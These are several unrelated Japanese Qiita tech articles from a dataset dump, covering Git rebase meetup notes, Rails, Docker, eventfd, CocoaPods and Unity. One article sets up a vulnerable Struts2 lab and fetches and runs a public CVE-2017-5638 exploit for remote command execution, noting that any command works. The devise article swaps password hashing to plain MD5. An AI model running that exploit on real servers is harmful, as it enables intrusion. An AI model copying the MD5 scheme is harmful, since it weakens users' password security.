OmniAICreator/Qiita-1.07M huggingface dataset:
【しずおかアプリ部】活動ログ　第36回

![しずおかアプリ部2.jpg](https://qiita-image-store.s3.amazonaws.com/0/88105/ee800648-fa25-1829-20c3-bad9c2055d35.jpeg)

##■公式サイト##
[http://monolizm.com/shizuoka-app](http://monolizm.com/shizuoka-app)

##■タイトル##
第３６回


##■開催日##
２０１７年３月１１日（土）　１６：００～１８：００


##■参加者##
８名


##■活動内容（概要）##
・最近の話題の技術ニュース、告知
・部員さんプレゼン「Gitでバージョン管理～インタラクティブなリベース編」
・部員さんプレゼン「JapnVR Fest.の報告とFusion360　実践・解説」
・TEA BREAK
・VR体験



##■活動内容（詳細）##

【実演・プレゼン】

**・最近の話題の技術ニュース、告知**
・モノリズム「Resasアプリコンテスト」ファイナリストに選ばれる
・Oculus値下げ（最大で3万1千円の値下げ）
・2016年度のスマホ業界売上話

<hr>

**・部員さんプレゼン「Gitでバージョン管理～インタラクティブなリベース編」**

　　Gitでバージョン管理シリーズ、今回はインタラクティブなリベース編です。
　　■今回の目的
　　　過去のコミットを修正 (rebase -i)
　　　過去のコミットの内容やメッセージを修正できる。 
　　　また、コミットを削除したり挿入もできる。

　　今までのコミットを1つずつ再実行(リベース)して、
　　各地点で一時停止しながら修正するイメージ。

　　■補足
　　　● コミットの順番を入れ替えることもできる
　　　　　不適切に順番を入れ替えると後続のコミットでエラーになる場合がある。
　　　● リベース中の一時停止なので自由に操作できる
　　　　　リセットで過去に戻る、チェリーピックで他 コミットを適用する、
　　　　　コミットの内容を上書修正するなど、自由に過去を修正できる。
　　　　　ただし、リベースを続けた時に後続 コミットでエラーにならないように注意が必要になる。

　　資料：[第36回_プレゼン資料(～Gitでバージョン管理～インタラクティブなリベース編～).pdf](http://monolizm.com/sab/pdf/第36回_プレゼン資料(～Gitでバージョン管理～インタラクティブなリベース編～).pdf)

　　プロジェクト：[034_Gitでバージョン管理.zip](http://monolizm.com/sab/src/034_Gitでバージョン管理.zip)

![IMG_7637.JPG](https://qiita-image-store.s3.amazonaws.com/0/88105/bc2445da-ce76-94be-4308-0734b11bb84e.jpeg)


<hr>


**・部員さんプレゼン「JapnVR Fest.の報告とFusion360　実践・解説」**
　　　■JapanVR Fest.の報告
　　　　JapanVR Fest.に出展してきた。（出展は４０ブースほど）
　　　　2000人以上の観客があった。
　　　　プレイしてくれたお客さんの満足度は高かったが、ブースアピールがうまくいかず体験者は２０人ほどだった。
　　　　次回出展時はポップを用意したり、目立つ工夫が必要。
　　　　また、ハードの改良も予定している。

　　　■Fusion360の実践・解説
　　　　フリーCADソフト「Fusion360」の使い方を日本語チュートリアルを見ながら進めた。

　　　　前回から期間が空いてしまったので、おさらいから。
　　　　　・円柱や六角中の作り方
　　　　　・円柱のくりぬき方

　　　　スカルプトを使った編集
　　　　　・ミラーリングで左右対処の編集
　　　　　・押し出しで面を追加

　　[Fusio360の日本語チュートリアルはこちらから](http://www.myautodesk.jp/jeff/material.html)

![IMG_7639.JPG](https://qiita-image-store.s3.amazonaws.com/0/88105/6c76d569-5878-2061-12e6-188ff5502351.jpeg)

![IMG_7641.JPG](https://qiita-image-store.s3.amazonaws.com/0/88105/e288b58e-fe13-f6ff-c1dd-e904c3e9efda.jpeg)

<hr>

**・TEA BREAK**
　　・NintendoSwitch体験
　　　　部員さんがNintendoSwitch本体とソフト「１、２Switch」を持ってきてくれた。
　　　　JoyConの中に玉が何個入っているか当てるゲームで、JoyConのHD振動のすごさを体験できた。
　　　　本当にJoyConの中に玉が入っているような振動を体験できた。

　　・VR体験
　　　OculusTouch対応ゲーム「RoboRecall」を体験した。
　　　素晴らしい画質と高フレームレート、そしてゲーム性が合わさり、気分はミラジョボビッチ。
　　　体験しないとわからないが完全にゲームの中に入れる。
![IMG_7643.JPG](https://qiita-image-store.s3.amazonaws.com/0/88105/df4c35e9-e7ab-75d9-003a-9ba2369f578f.jpeg)
![IMG_7644.JPG](https://qiita-image-store.s3.amazonaws.com/0/88105/03485daa-4d27-1ff0-6c12-bba87875d87a.jpeg)

　・その後も素晴らしいVRソフトで、アプリ部みんなで大いに盛り上がりました！
struts2の新0day脆弱性をテストしてみた

#struts2 新しい0day脆弱性を体験するために、手元のMac環境でテスト用のWebを作成してやってみました。確かに怖いセキュリティホールです！

###tomcatをインストールして、テスト用Webをtomcatにデプロイ
```
#install tomcat
brew install tomcat

#confirm where the tomcat installed
ls -lF `which catalina`

#confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec

#create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war

#expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#run tomcat
catalina run
```
デプロイ後、http://localhost:8080/struts2で確認できます。


###他のマシンから脆弱性テストツールを実行
```
#get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py

#run exploit tool script
#can create any payload file
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"
```
もちろん、echoコマンドを他のコマンドに置き換えてもOK。 >/tmp/yyyはなしでもOK。
例えば

###最初のマシンに戻って、payloadが作成されたことを確認できる
```
cat /tmp/yyy
```

テストのビデオもアップロードしました： https://youtu.be/iQ_f-eG-EXg
Rails5, devise_token_auth/deviseで暗号化方式を変更する

## 背景

devise_token_authを使って認証のあるアプリのAPIを開発している。色々あって、既存を活用しなくてはいけないのだが、その暗号化方式がデバイスで使われているものとは異なっていて、デバイス暗号化方式を変更する必要が出てきた。

使ったgemは[devise-encryptable](https://github.com/plataformatec/devise-encryptable)なのですが、このREADMEが古すぎてこの通りでは動かなかったのでメモ。

ちなみにdevise_token_authでも認証周りは基本的にdeviseに依存しているので、以降deviseのみについて言及する。devise_token_authについても同様に動くことは確認済みなので安心してほしい。

deviseのgithubのwikiに導入方法が書いてあるのだが、この通りにやってもちゃんと動かないので注意が必要。

## 環境

```
MaxOSX: 10.12.3
Rails 5.0.1 (API mode)
devise_token_auth (0.1.40)
devise (4.2.0)
devise-encryptable (0.2.0)
```

## 手順

### インストール

```Gemfile.
gem "devise-encryptable"
```

そして```bundle install```

### カラムを用意してあげる

ターミナルにて以下を実行

``` 
rails g migration add_column_to_users
```

```./db/migrate/2017XXXXX_add_column_to_users.rb
class AddColumnToUser < ActiveRecord::Migration[5.0]
  def change
    add_column :users, :password_salt, :string
  end
end
```

ターミナルにて
```
rails db:migrate
```


### railsプロジェクトに必要事項の追加

以下のそれぞれのファイルに追加する。

```config/initializers/md5.rb
# 勝手に作られないので自分で作ること

require 'digest/md5'

module Devise
  module Encryptable
    module Encryptors
      class Md5 < Base
        def self.digest(password, stretches, salt, pepper)
          str = [password, salt].flatten.compact.join
          Digest::MD5.hexdigest(str)
        end
      end
    end
  end
end
```

```app/models/user.rb
class User < ActiveRecord::Base
  # 追加
  devise :encryptable
end
```

以上でdeviseの使う暗号化方式をmd5に上書きすることができる。登録処理、ログイン処理までは試しているからおそらく問題ない。password_saltカラムが必要な理由としては[これ](http://www.atmarkit.co.jp/ait/articles/1110/06/news154_3.html)を参照するといいだろう。



## 参考

[devise/wiki](https://github.com/plataformatec/devise/wiki/How-To:-Create-a-custom-encryptor)
[github/devise_encryptable](https://github.com/plataformatec/devise-encryptable)
カウントアプリ


1、StoryboardにLabelと”＋”と”ー”のbuttonを配置する
2、下記の処理をViewController.swiftに書く
3、@IBOutletの部分をLabelと紐づける
4、@IBActionの部分をButtonと紐づける

```

import UIKit

class ViewController: UIViewController {

    @IBOutlet weak var countLabel: UILabel!    
    var count =  0    
    
    override func viewDidLoad() {
        super.viewDidLoad()
    }

    override func didReceiveMemoryWarning() {
        super.didReceiveMemoryWarning()
    }

    @IBAction func countupBotton(_ sender: AnyObject) {
        if count == 10{
            return
        } 
        count = count + 1
        countLabel.text = String(count)
    　　　　　　　　}

    @IBAction func countdownButton(_ sender: AnyObject) {
        if count == 0{
            return
        }
        count = count - 1
        countLabel.text = String(count)
        }
}
```
二点間の距離を求める

dx = x1 - x2;
dy = y1 - y2;
とする。この二点間の距離を求めたい。

普通はこうだ。

```
d = sqrt(dx * dx + dy * dy)
```

そのための専用の関数もある。

```
d = hypot(dx, dy)
```

数学的な詳細はわからないが、オーバーフローが発生しないように、工夫されているらしい。性能では多少劣る。

自作の画像処理アプリを作ろうとして、hypotについて調べていたところ、別の方法をみつけた。「**Moler-Morrison Algorithm**」という。コードは掲載しないが、気になる人は各自検索してほしい。四則演算からなる数行の式を3回程度繰り返すだけで、`double`型で必要充分な精度に収束する。

数学は私の専門ではないので、説明とか証明はできない。精度と速度はこれから検証してみる。ウェブで検索してみると、これに関する日本語の説明が少ない。このアルゴリズムは有名なものなのだろうか？
Windows版Minicondaでf2py

Macから浮気してWindowsで遊んでいます。Windows 10 Pro/EducationはUbuntu on WindowsやDocker for Windows、Hyper-Vが使えるのでいかようにもなるのですが、管理者権限のない実習室のWindowsを使ったり、使って教えたりしなければならないこともあるかと思います。

Pythonのオフィシャルインストーラーも管理者権限なしでインストール可能ですが、numpyなどをやろうとするとCondaさんが便利です。私はMiniconda Python-3.6 64-bitを使いconda install jupyterしましたが、Anacondaを入れれば楽かと思います。numpyにはf2pyが含まれているのですが、そのままでは使えるようになっていませんでした。

以下DOSコマンドは苦手なのでエイリアスが用意されているPowerShellや、後でインストールしたgit for windowsのbashを使っています。

# gfortranのインストール

mingw-w64を入れようかとも思ったのですが、Condaさんに用意されていましたのでそちらを入れることにしました。

    conda install m2w64-gcc-fortran

インストールしただけではパスが通っていませんので、

    C:\Users\ユーザ名\Miniconda3\Library\mingw-w64\bin

（Anacondaの場合は`Miniconda3`ではなく`Anaconda3`、以下Condaまでのパスは省略）をパスに追加します。Cortanaさんに「環境変数」と聞くと、環境変数を設定するコントロールパネルを開いてくれます。上部のユーザー環境変数のPathは編集できるはずです。

# f2pyがない

Condaさんのf2pyは`Scripts\f2py.py`にあります。実行できるようにバッチファイルScripts\f2py.bat`を作ります。

```bat:f2py.bat
python %~dp0/f2py.py %*
```
PowerShellを使う場合は```$profile```に関数を書いてもいいでしょう。

    function f2py(){python \Users\ユーザ名\Miniconda3\Scripts\f2py.py $args}

# ソースの修正

f2pyを実行できるようになりましたが、ソースを与えると`ValueError: Unknown MS Compiler version 1900`というエラーが出ます。少しソースの修正が必要です。

`Lib\distutils\cygwinccompiler.py`は、157行目と318行目をコメントアウトして`pass`で何もしないようにします。`pass#`をつけます。

```py3:cygwinccompiler.py
pass#self.dll_libraries = get_msvcr()
```

`Lib\site-packages\numpy\distutils\mingw32ccompiler.py`は96～104行目を`#`をつけてコメントアウトします。

```py3:mingw32ccompiler.py
# Check for custom msvc runtime library on Windows. Build if it doesn't exist.
 #msvcr_success = build_msvcr_library()
 #msvcr_dbg_success = build_msvcr_library(debug=True)
 #if msvcr_success or msvcr_dbg_success:
     # add preprocessor statement for using customized msvcr lib
 #    self.define_macro('NPY_MINGW_USE_CUSTOM_MSVCR')

 # Define the MSVC version as hint for MinGW
 #msvcr_version = '0x%03i0' % int(msvc_runtime_library().lstrip('msvcr'))
 #self.define_macro('__MSVCRT_VERSION__', msvcr_version)
```

# hello

早速試してみます。

```foo.f90
subroutine hello()
    print *, "Hello"
end subroutine hello
```

    f2py -c --fcompiler=gnu95 --compiler=mingw32 -m foo .\foo.f90

```
PS C:\Users\ユーザ名\Development\foo> python
Python 3.6.0 |Continuum Analytics, Inc.| (default, Dec 23 2016, 11:57:41) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import foo
>>> foo.hello()
 Hello from Fortran90!!!
>>>
```

当初UnicodeDecodeErrorが出て悩んでいたのですが、シェルを英語に切り替えたところうまくいきました。日本語に戻してもエラーが再現できないので謎です。

    chcp 437

# Lowtran

[lowtran](https://github.com/scivision/lowtran)で試してみます。gitはcondaにも入っていますが、GUIやbashもついてくる[git for Windows](https://git-for-windows.github.io/)を入れてみました。

pandasが入っていなかったのでcondaで入れました。

```
git clone https://github.com/scivision/lowtran
cd lowtran
setup.py develop
conda install pandas
python DemoLowtran.py -a 0 12.5 25
```
![lowtran.png](https://qiita-image-store.s3.amazonaws.com/0/130247/520ae45e-caf0-fd6f-e99c-9394ddc42b40.png)

色が違うのはご愛敬。

# 参考にしたサイト

- https://scipy.github.io/old-wiki/pages/F2PY_Windows.html
- https://www.scivision.co/f2py-running-fortran-code-in-python-on-windows/
- http://pocketstudio.jp/log3/2012/02/13/change_language_and_chcp/
Re:Dashを素でセットアップする時のはまりどころ

訳あってdockerを使わずにCentOSにRe:Dashをインストールした時にハマった項目のメモ

provisioning scripは以下にあるamazon linux用のものをベースにつかった

https://github.com/getredash/redash/tree/master/setup/amazon_linux


## rpmリポジトリ追加

基本的には上記の`bootstrap.sh`を動かせばいいのだが、いくつかrpmリポジトリを追加しておく必要がある

```
sudo yum localinstall https://download.postgresql.org/pub/repos/yum/9.3/redhat/rhel-7-x86_64/pgdg-centos93-9.3-3.noarch.rpm
sudo yum install epel-release
```

PostgreSQLのバージョンが93指定になっているが、そこを94にいじるとかでもよさそう


## pipでインストールされるコマンドのパス

pipでインストールされるコマンドのパスに気をつける

* `/etc/init.d/redash_supervisord`の `supervisord`のパス
* `/opt/redash/current/supervisord.conf`のgunicornのパス


## テンプレートのパス

起動しても`TemplateNotFound`的なエラーになっている場合はテンプレートのパスが環境変数でわたされてない場合が考えられる

`/opt/redahs/current/.env`ファイルに以下を追加する

```
export REDASH_STATIC_ASSETS_PATH=/opt/redash/current/rd_ui/dist
```


## まとめ

docker使ったほうがいいんじゃないか
Docker for Mac でファイル共有を利用する

　Docker for Mac 17.03 と Kitematic (Beta) 0.13 を使用する上で、GUIだけでは共有フォルダを設定できなかったようなので、そのときの設定の手順を備忘として記録します。ここでは、 [Oracle VM VirtualBox](https://www.virtualbox.org) ではなく、 [HyperKit](https://github.com/docker/HyperKit/) を使用している場合を想定しています。

　この記事で説明しているのは、Dockerの基本的なコマンドをターミナルで実行することだけです。Dockerイメージは、既に取得済みであることを前提としています。

　まずは、コンテナにマウントしたいホストOS（macOS）側のディレクトリが、Dockerデーモンにファイル共有として設定されていることを確認します。ファイル共有の設定は、 `Docker メニュー > Preferences > File Sharing` から確認できます。

![/Users, /Volumes, /tmp, /private の４つのディレクトリがファイル共有として設定されています](https://qiita-image-store.s3.amazonaws.com/0/58/99bfb386-9dbc-2cab-435a-3ed0929518a6.png)

　次に、どのイメージからコンテナを起動するのかを確認するために、ホストOSのターミナルで `docker images` を実行して、既に取得済みであるDockerイメージの一覧を取得します。

```shell-session:Dockerイメージの一覧を得る
$ docker images
REPOSITORY                    TAG                 IMAGE ID            CREATED             SIZE

jenkins                       latest              8d383af9763f        8 days ago          713 MB
ghost                         latest              f7f74cd3ef27        9 days ago          331 MB
nginx                         latest              6b914bbcb89e        10 days ago         182 MB
momoto/workspace              latest              b7edec7e4c13        13 months ago       469 MB
kitematic/hello-world-nginx   latest              03b4557ad7b9        21 months ago       7.91 MB
```

　ここで確認できたDockerイメージをもとにコンテナを起動します。コンテナの起動は `docker run` のコマンドを使って行いますが、このときに実行するコマンドのオプションに、ホストOSのどのディレクトリを、コンテナ内のどのディレクトリへとマウントさせるのか、を指定します。

```shell-session:Dockerイメージからコンテナを起動する
$ docker run -d -p 3000:80 -v ~/Workspace:/var/shared --privileged --name workspace momoto/workspace:latest /sbin/init
```

　ここで `docker run` のオプションを網羅的に説明することはしませんが、上の例で使用しているオプションには、次のような意味があります。

- `-d` コンテナをデタッチモードで起動します。デアタッチモードでない場合、フォアグラウンドモードになります。
- `-p` `hostPort:containerPort`という形式で、ホストからコンテナへポートフォワードするポート番号を指定します。共有フォルダとは直接、関係ありません。
- `-v` `host-src:container-dest`という形式で、共有フォルダを指定します。
- `--privileged` Privilegedモードで起動します。コンテナ内からホストのすべてのデバイスにアクセスできるようになります。コンテナでsystemctlを使用したいときに必要です。
- `--name` 任意のコンテナ名を指定します。

　`docker run` が正常に実行されると、コンテナのプロセスが起動されて、GUIのKitematicの画面からコンテナを確認できるようになります。

![コンテナの/var/sharedに、ホストOSの~/Workspaceがマウントされました](https://qiita-image-store.s3.amazonaws.com/0/58/581767bb-54a2-4a7d-eb81-b3b8c50e9839.png)

　Kitematic の画面でも共有フォルダが設定されていることを確認できます。
履歴データから共起をSQLで算出する


# 概要
商品と購入者情報を含む商品購入履歴があった時、ユーザーベース協調フィルタリングを算出するためにSQLを作ってみました。レコメンドシステムに活用できます。



今回は商品`product_id=123`と、その他商品の共起を取得します。このSQLで取得できない商品は共起数0です。

```sql
SELECT
 t.id,
 count(*) AS cooccurrence, #共起している数
 (SELECT COUNT(DISTINCT(u.user_id)) FROM history u WHERE (u.product_id=123 OR u.product_id=t.product_id) AS base #母数
FROM history t
WHERE t.id IN (SELECT s.id from history s WHERE s.product_id=123)
AND t.product_id <> 123
GROUP BY t.product_id;
```

`cooccurrence / base`でJaccard係数を計算できます。

※突っ込み所があったら、指摘していただけると助かります。

# 環境
- MySQL 5.6
cocoapod使いたいのに使えない

**cocoapodあまり使ったことなくて前にやってみたけど、ちゃんと覚えていないので書いて見ました。しかしなぜか今回は色々な試練があったのでその対処法なんかも書いていこうかと思います。間違えている部分などありましたらご指摘いただけると嬉しいです**:sun_with_face:最初に書いたことだけでなかったので追記します。

参考にさせていただいた
URL: http://qiita.com/ShinokiRyosei/items/3090290cb72434852460
URL: http://blog.kishikawakatsumi.com/entry/2015/01/03/082916

・抑えておきたいこと
・cocoapodを使うためにはルビーが必要。podfileを作成するためにはcocoapodが必要。
※なぜこれを抑えておきたいかというと何かしらうまくいかないときはこのあたりでの不具合だと思うからです。あと他にちゃんとプロジェクトまでいって<font color="red">pod init</font>を行っているかとか。これ思い込みで同じようなファイル名にしてるとついついやってしまうんです。私だけかもしれませんが。

・本来の流れ
```sudo gem install cocoapods
```macにはあらかじめrubyが入っているのでgemのrubyコマンドでcocoapodsをインストールします。

上記ができないときは以下のコマンドを打てばいけました。
```sudo gem install -n /usr/local/bin cocoapods
```
```pod setup
```cocoapodの環境を構築します。

ライブラリを入れたいプロジェクトまで移動して
```pod init
```Podfileを作成します

追記:これで作成されたpodfileにvimコマンドで中身を編集してください。上の方にインストールしたいURLを。編集は4行目ぐらいにあるuse_frameworks!を消して(注意：消した方がいいときと消さない方がうまく行く時があるのでこれはどちらでも大丈夫そうです。)target '<ここに作成したプロジェクト名が書かれているはずです>' doの下にpod '<入れたいライブラリ名>'を書く。一応このライブラリの後ろにバージョンとかも設定できるみたいですが、今は入れてみることを優先しているので書かなくても大丈夫です。で、編集したファイルを同じみwqで保存。ちなみにバージョンを記述すれば入れたいライブラリのバージョンを指定できるそうです。
この参考にさせていただいたURLはhttp://qiita.com/ShinokiRyosei/items/3090290cb72434852460
です！:earth_africa:



ちなみに,参考として乗せておきます。vimで編集する中です。
point1:source 'https://github.com/CocoaPods/Specs.git'をかく　←自分が入れるやつ
point2:platform :ios, '7.0'をかく
point3:pod '<入れたいやつ>'を自分のアプリ名が書いてあるdoの下にかく(本来記入するのはここだけかと。)


```
source 'https://github.com/CocoaPods/Specs.git'

platform :ios, '7.0'

target 'sample' do
  # Comment the next line if you're not using Swift and don't want to use dynamic frameworks
  pod 'Firebase/Core'
  pod 'Firebase/AdMob'  

  # Pods for sample

end
```



```pod install
```Podfileに書いたライブラリをインストールします。

プロジェクトを一回とじ開くときはxcworkspaceで開きます。
普通に開くか、
```open sample.xcworkspace
```のコマンドで開く
※sampleのところが自分のプロジェクト名


・ちなみに…
・一回podfileを作成してるプロジェクトがあればそのプロジェクトまで行き
$pod updateをすればその中に入っているライブラリが勝手に最新のものになってくれるらしいです。
・あとPodfile作成したらxcodeの中で開いてもかける見たいです。


・今回の一番肝にしたい、インストールまでうまくできない時の対処法
エラー内容として
You don't have write permissions for the /Library/Ruby/Gems/2.0.0 directory.
出たときは、rubyをインストールし直しました。

エラー内容として
pod: command not found
出たときは、cocoapodをアンインストールしてインストールしたり、rubyをアンインストールしてインストールしたりして見ました。


今回行った作業で参考にさせていただいたURLはっておきます。これらのコマンドは自分が書くよりこちらのサイトの方がわかりやすいと思ったので…
http://changesworlds.com/2014/07/install-without-adm-on-the-rubygems/
http://gin0606.hatenablog.com/entry/2014/03/13/144653
http://kotalab.com/el-capitan-pod-command-not-found

と書いたのですが、やはり使うコマンド書いておきます。もしかしたら原因はルビーをインストールすれば行けそうな感じがします。まだ確実出ないので確証は持てませんが…ただ最初は上の内容で本当にうまく行かないかなどを確認した方がいいかもです。なぜかそのあとは上のでうまく行く時もあるので。

```brew install rbenv ruby-build
```
```if which rbenv> /dev/null; then eval "$(rbenv init -)"; fi
```
```source ~/.bash_profile
```
```rbenv install 2.0.0-dev
```※ルビーのインストールするバージョンに種類があるみたいなのですが、一番上に書いてある2.0.0-devを私はインストールしました。y/nでYESかNOか聞かれてくると思うのでそこはyを押してエンターで！
```rbenv global 2.0.0-dev
```※上と同じバージョン
```rbenv rehash
```
```gem install zookeeper
```

ここからは上の手順で行なってもらえれば大丈夫かと、sudo gem install cocoapodsするところから。

ちなみにこことほぼ同じことを書いたサイトです。よかったら見てください。
http://fanblogs.jp/kamekiti3/
Substance painter グラフィックボードのドライバー更新

## インストール後起動したらグラフィックボードのドライバーが古いと言われた
It looks lie the driver of your GPU is outdated.
You shoud update it for a better experience since an outdated driver coud lead to unexpected behaviours and crashes.
Note however that new drivers may not be for your GPU model.

あなたのGPUのドライバが古くなっていると思われます。
時代遅れのドライバーが予期しない動作やクラッシュにつながるため、より良い体験を得るためにそれを更新してください。
ただし、新しいドライバはGPUモデル用でない場合があります。

![image](https://qiita-image-store.s3.amazonaws.com/0/111261/158f7b82-17dc-32db-32bc-20bdf3b06b98.png)

## デバイスマネージャーからグラフィックボードのドライバー更新

グラフィックボードを右クリックして、ドライバーソフトウェアの更新を選択
![image](https://qiita-image-store.s3.amazonaws.com/0/111261/7f8d9ce2-c978-f44a-5f89-b2f9e9adecd8.png)

ドライバーソフトウェアの最新版を自動検索しますを選択
![image](https://qiita-image-store.s3.amazonaws.com/0/111261/19b73deb-5c59-60fc-b985-7636ea843b93.png)

更新後、再起動
Next-L Enju LeafのDockerイメージを作成した

[Next-L Enju Leaf](https://github.com/next-l/enju_leaf)は、[Project Next-L](http://www.next-l.jp/)が開発しているオープンソースの図書館管理システムです。探せば[既存のDockerイメージ](https://hub.docker.com/r/tuyoshia/enju/)もありますが、以下のような問題があるので1から作りました。

* Dockerfileが公開されておらず、ビルドを再現できない
* Automated Buildになっておらず、第三者が正当性を確認しづらい
* PostgreSQLが同じコンテナ内で起動するので扱いづらい

Railsアプリ、Redis、Solr、Cronなどを1つのイメージに含めており、PostgreSQLは別コンテナを使うようにしました。本当はRedisやSolrも分けるほうが望ましいですが、公式の[インストール手順](https://github.com/next-l/enju_leaf/wiki/Install)でもForemanでアプリ起動時に一緒に起動するようになっていることやインデックス再生成のしやすさを考えて、とりあえずは同じコンテナとしました。

* [Docker Hubで公開しているイメージ](https://hub.docker.com/r/orangain/enju_leaf/)
* [ソースコード](https://github.com/orangain/docker-enju-leaf)

## 必要なもの

* [Docker Engine](https://docs.docker.com/engine/)
* [Docker Compose](https://docs.docker.com/compose/)

## 起動方法

以下の手順で簡単に起動できます。

1. 適当なフォルダに[docker-compose.yml](https://github.com/orangain/docker-enju-leaf/blob/master/docker-compose.yml)をダウンロードして、コンテナを起動する。

    ```sh
    $ wget https://github.com/orangain/docker-enju-leaf/raw/master/docker-compose.yml
    $ docker-compose up  # sudoが必要な場合もあります
    ```
2. ブラウザーで `http://<DOCKER_HOST>:3000/` を開く。デフォルトの管理者アカウントは次の通り。
   * user: `enjuadmin`
   * password: `adminpassword`

![screenshot](https://qiita-image-store.s3.amazonaws.com/0/4240/690ca727-d8da-f87a-1cfc-7cda4651a472.png)

## イメージ作成のポイント

基本的には公式の[インストール手順](https://github.com/next-l/enju_leaf/wiki/Install)に従ってDockerfileを作っていましたが、1つ問題がありました。このインストール手順では、`rails g enju_leaf:setup`や`rails g enju_leaf:quick_install`によって、実行日時の番号（例：20170309144915）を持つ新しいマイグレーションが`db/migrate/`内に作られます。

これはつまり、イメージをビルドする度にマイグレーションの番号が変わってしまうということです。このままだと、例えば1.2.0のイメージを1.2.1に差し替えたときに双方のマイグレーションの番号が完全に異なるので、`rake db:migrate`に失敗してしまいます。

このような事態を防ぐため、リポジトリの`enju_leaf`ディレクトリにRailsアプリのソースコード一式を置いて、それをDockerイメージに`COPY`することで、マイグレーションの番号が変わらないようにしました。

コンテナの作成時にデータベースのマイグレーションやSolrのインデックス再生成を自動的に行うので、新しいバージョンが出た時は`docker-compose.yml`のイメージのバージョンを書き換えて起動し直すだけで、いい感じにアップグレードできるようになるはずです。
eventfdの使い方


`epoll`と合わせて使うと嬉しい系FDの一つ`eventfd`の使い方をちょっと纏めてみる

実のところ、こいつはかなり癖があるので使えるポイントが限られそう…

## 従来の処理

想定されている使い方は`pipe`を使ってイベント通知だけをする場合の置き換えです。


```cpp:pipeによるイベント通知
int pFD[2];
bool done = false;

/**
 * initEvent - イベント通知用pipe生成
 */
void initEvent (void)
{
	pipe (gFD);
}

/**
 * notifyEvent - イベント発生を通知
 */
void notifyEvent (void)
{
	int	event = 1;
	write (pFD[1], &event, sizeof(event));
}

/**
 * receiveEvent - イベント受信の回収
 */
void receiveEvent (void)
{
	int event = 0;
	read (pFD[0], &event, sizeof(event));
}

/**
 * signalTerminate - シグナルハンドラ
 */
void signalTerminate (int signum)
{
	done = true;
	notifyEvent ();
}
```

ここではeventの内容は使用しません。

`select`/`poll`などでの待ち合わせを起こすためだけに使われるパターンが`eventfd`に対応する使用方法です。

ということで、シグナル受信によるハンドラなどから呼び出すような場合を想定します。
※`write`はAsync-Signal-Safeという意外な事実w

グローバル変数の値を変更して、それを通知するだけ…とかですね。


## eventfd + epoll

これを`eventfd`にしたところで、余り代わりはありません。



```cpp:eventfd+epollにしてみる
int eventFD;
bool done = false;

/**
 * initEvent - イベント通知用pipe生成
 */
void initEvent (void)
{
	eventFD = eventfd (0, 0);
}

/**
 * signalTerminate - シグナルハンドラ
 */
void signalTerminate (int signum)
{
	done = true;
	eventfd_write (eventFD, 1);
}
```

※明示的にAsync-Signal-Safeではないけども、`write`同様ということで`eventfd_write`もシグナルハンドラで使って良いと思ってる

ここで嬉しい点は殆ど無いのですが…

- `pipe`に対する`read`遅れでの詰まりが無い
- ディスクリプタ数が 1/2 になるのでファイル数に制限があるなら(`eventfd`使える環境での制限…)


## カウント伝播の為の使い方(EFD_SEMAPHORE)

`eventfd`カウンターの読み書きが出来ることから、スレッド/プロセス間でカウントを伝えるためにも使用することが出来ます。

一つは`read`側でカウント計上する感じで、

```cpp:eventfdカウンティング
eventfd_t event_count;

/**
 * countEventsByFD - eventfdでのカウンティング
 *  ※EFD_SEMAPHORE未指定の場合
 */
void countEventsByFD ()
{
	eventfd_t new_count = 0;
	eventfd_read (eventFD, &new_count);
	event_count += new_count;
}
```

もう一つ、EFD_SEMAPHORE指定をする場合は…

```cpp:eventfdでカウントを通知
/**
 * initEventSemaphore - イベント通知用pipe生成(セマフォ)
 */
void initEventSemaphore (void)
{
	eventFD = eventfd (0, EFD_NONBLOCK|EFD_SEMAPHORE);
}

/**
 *  workerLoop - ワーカスレッドなどでのイベントループ
 */
void workerLoop (void)
{
	while (!done) {
		struct epoll_event event = {0};
		int evnum = epoll_wait (epollFD, &event, 1, -1);
		for (int i=0; i<evnum; ++i) {
			if (event.data.fd == eventFD) {
				eventdf_t count = 0;
				eventfd_read (eventFD, &count);
				if (count > 0) {
					doEvent ();
				}
			}
			/* else if (event->data.fd == any_other_fd) { ... } */
		}
	}
	return ;
}
```

`eventfd_read`が必ず1を取得するので、`eventfd_write`側から受信スレッド側の処理数を伝えたら、ｗorkerスレッド側で1つずつ拾って処理をするような感じになりますね。


## それ以外にデータを通知したい場合

カウンタ以外に何かしらのデータを通知したい場合は、`eventfd`では無くて`mq_open`でメッセージキューを作りましょう(`select`/`poll`はキューでも出来る)

## 関連

[signalfdの使い方](http://qiita.com/ksworks/items/2e62b2b43b2bd6d06e90)
[timerfdの使い方](http://qiita.com/ksworks/items/9bf319636d67d6c04b90)
[Unity]Skyboxをcubemapを使って変更する。

# はじめに
skyboxを変更して空のデザインをリッチにするだけで完成度がグッと高まります。
AssetStoreではなくGoogle画像検索から素材を入手する方が簡単だと思うので、やり方を紹介します。


# 手順
## cubemap画像の入手
- Google画像検索で「cubemap」と検索すると

![cubemap_example.jpeg](https://qiita-image-store.s3.amazonaws.com/0/147930/2fd85d4f-9f7c-3e71-230f-ac1bc0b72b69.jpeg "cubemap_example.jpeg")

このようなサイコロの展開図状の画像が入手できます。
保存してUnityにインポートしましょう。

## 画像をタイプをcubemapに設定する
インポートした画像の「TextureType」を「Cubemap」に変更します。
![スクリーンショット 2017-03-07 4.37.24.png](https://qiita-image-store.s3.amazonaws.com/0/147930/3b27e2ae-ae2b-5663-a5d0-4e91aa11b50e.png "スクリーンショット 2017-03-07 4.37.24.png")


#### 追記、Unity5.5以降の場合
Unity5.5以降の場合は「TextureType」を「Default」、「TextureShape」を「Cube」に変更する。
![スクリーンショット 2017-03-21 17.46.30.png](https://qiita-image-store.s3.amazonaws.com/0/147930/577308a8-8f50-1ab7-e446-6b502b014507.png)


## マテリアルを作成します。
